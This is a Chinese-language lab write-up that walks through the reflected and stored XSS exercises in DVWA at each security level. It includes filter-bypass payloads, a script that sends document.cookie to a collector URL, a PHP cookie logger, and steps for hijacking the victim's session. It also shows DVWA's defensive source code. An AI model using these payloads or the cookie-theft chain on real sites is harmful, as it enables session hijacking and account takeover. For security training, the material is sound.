1.4 DVWA亲测XSS漏洞

时间：2024-01-09 22:06:02
首先需要有配置好的DVWA环境，像下图这样
 1.4 DVWA亲测XSS漏洞

其中：

XSS (DOM) :  DOM型XSS漏洞

XSS (Reflected) : 反射性XSS漏洞

 XSS (Stored) :  存储型XSS漏洞
我们先来看XSS（Reflected）: 反射型的XSS漏洞
首先，我们选择LOW等级1.4 DVWA亲测XSS漏洞
XSS (Reflected) :
点击出现如图所示1.4 DVWA亲测XSS漏洞
我们先来输入  xss  ,点击确定1.4 DVWA亲测XSS漏洞

我们接着来输入<xss> ,点击确定1.4 DVWA亲测XSS漏洞

这时发现插入html标签的话，页面会发生变化，我们尝试js弹窗

我们继续输入<script>alert('xss')</script>,点击确定1.4 DVWA亲测XSS漏洞

这时说明这个网站可以进行XSS攻击，我们输入 <script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie</script> ，就可以得到要攻击的人cookie信息

 攻击过程总结：
 1.攻击者的web设计用来接收cookie，如下：
<?php

   $cookie = $_GET['cookie'];

   file_put_contents('cookie.txt',$cookie)

?>
2.构造并发送攻击url:
http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
注意：<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>需要进行
URLlencode的编码，否则不会攻击成功
3.得到cookie后，我们访问login.php 登陆页面,使用firebug里面的cookies,来编辑cookies
 1.4 DVWA亲测XSS漏洞

4.完成后，我们直接访问index.php,发现我们已经已被攻击者的身份登陆，可以赶我们想干的事情了

接下来我们选择Medium等级的XSS
1.4 DVWA亲测XSS漏洞
XSS (Reflected) :
点击出现如图所示1.4 DVWA亲测XSS漏洞

我们先来输入<script>alert('xss')</script>  ,点击确定

 1.4 DVWA亲测XSS漏洞
发现已经失效，无法正常弹窗，<script>标签被过滤了，不过我们也有方法
1. <scri<script>pt>  应为过滤程序只会过滤一次，嵌套可以完美绕过。
输入<scr<script>ipt>alert('xss')</script>   1.4 DVWA亲测XSS漏洞

2.   <ScRiPt>   大小写混合绕过

输入<ScRiPt >ipt>alert('xss')</ScRiPt >1.4 DVWA亲测XSS漏洞
接下来我们选择High等级的XSS1.4 DVWA亲测XSS漏洞
XSS (Reflected) :
点击出现如图所示1.4 DVWA亲测XSS漏洞

我们先来输入<script>alert('xss')</script>  ,点击确定

 1.4 DVWA亲测XSS漏洞
我们尝试嵌套，大小写，发现都是失效的
但是能够插入xss代码的标签并不只是<script>,
还有<img>标签，同样也可以
输入 <img src=x onerror=alert('xss')>,点击确定
 1.4 DVWA亲测XSS漏洞
onerror事件会在文档或图像加载过程中发生错误时被触发
应为src=x本事就是一个错误代码，所以触发事件执行
还有<iframe>标签同样可以：
输入 <iframe onload=alert('xss')>,点击确定
 1.4 DVWA亲测XSS漏洞
<iframe>标签可以在一个html代码中嵌入另一个html内容
onload 是js的一个事件，事件会在页面加载完成后，立即发生，同时执行被调用的程序。
注意：1. 加载页面时，触发onload事件
接下来我们选择Impossible等级的XSS,当然这个等级是绝对安全的
1.4 DVWA亲测XSS漏洞
XSS (Reflected) :
点击出现如图所示1.4 DVWA亲测XSS漏洞

我们先来输入<script>alert('xss')</script>  ,点击确定

 1.4 DVWA亲测XSS漏洞

发现代码原封不动的输出出来了，我们通过fire bug 查看元素

 1.4 DVWA亲测XSS漏洞
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体
我们输入的符号都被转义了，使他们丧失了功能
查看后台代码
<?php

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    // Check Anti-CSRF token

    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input

    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user

    $html .= "<pre>Hello ${name}</pre>";

}

// Generate Anti-CSRF token

generateSessionToken();

?>
原来是htmlspecialchars()这个函数把符号给编码了
 1.4 DVWA亲测XSS漏洞
接下来让我们来看XSS（Stored）: 存储型XSS漏洞
首先，我们选择LOW等级1.4 DVWA亲测XSS漏洞
点击出现如图所示1.4 DVWA亲测XSS漏洞

是留言板性质的

我们先来尝试输入1.4 DVWA亲测XSS漏洞

发现输入不完整，估计是后台的输入框限制了长度

先查看源代码
1.4 DVWA亲测XSS漏洞

果然不出所料

然后我们用火狐浏览器上的Tamper date 进行抓包改包
1.4 DVWA亲测XSS漏洞
点击发送就可以成功绕过
或者我们可以用你黑客最常用的工具 burpsuite 就进行抓包：
1.4 DVWA亲测XSS漏洞

然后改包：

1.4 DVWA亲测XSS漏洞 
 结果 :
1.4 DVWA亲测XSS漏洞
1.4 DVWA亲测XSS漏洞
 这样就简简单单突破限制
下面我们进入Middem等级
1.4 DVWA亲测XSS漏洞
点击确定后
1.4 DVWA亲测XSS漏洞

我们发现name中还是限制了字数，但在Low等级中我们已经列出解决办法，这里不再赘述

我们在Message表格中写入<script>alert('xss')</script>,发现如下图
1.4 DVWA亲测XSS漏洞

发现<script>标签被过滤，此处我们也已经列出过解决办法，也不再赘述

抓包改包，用大小写混合的方法就可以成功绕过
我们看一下源代码:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

    // Get input

    $message = trim( $_POST[ 'mtxMessage' ] );

    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input

    $message = strip_tags( addslashes( $message ) );

    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?                 mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    $message = htmlspecialchars( $message );

    // Sanitize name input

    $name = str_replace( '<script>', '', $name );

    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database

    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();

}

?>
这代码不可谓不精细，message防注入做的很棒
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体
接下来我们进入High等级1.4 DVWA亲测XSS漏洞

点击确定后1.4 DVWA亲测XSS漏洞

我们在Message处尝试输入<script>alert('xss')</script>

1.4 DVWA亲测XSS漏洞
我们又遇到了meddiem的问题:
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

    // Get input

    $message = trim( $_POST[ 'mtxMessage' ] );

    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input

    $message = strip_tags( addslashes( $message ) );

    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    $message = htmlspecialchars( $message );

    // Sanitize name input

    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database

    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();

}

?>
发现name已经完全过滤了<script>,区分大小写，以前的方法都失效了
这时我们采取新办法，我们在name中输入 <img src=x onerror=alert('xss')>
发现成功绕过
接下来我们进入不可能注入的impossible等级1.4 DVWA亲测XSS漏洞

这时我们先来看代码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

    // Check Anti-CSRF token

    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input

    $message = trim( $_POST[ 'mtxMessage' ] );

    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input

    $message = stripslashes( $message );

    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    $message = htmlspecialchars( $message );

    // Sanitize name input

    $name = stripslashes( $name );

    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    $name = htmlspecialchars( $name );

    // Update database

    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );

    $data->bindParam( ':message', $message, PDO::PARAM_STR );

    $data->bindParam( ':name', $name, PDO::PARAM_STR );

    $data->execute();

}

// Generate Anti-CSRF token

generateSessionToken();

?>
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响：
  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a
如果成功，则该函数返回被转义的字符串。如果失败，则返回 false。

相关文章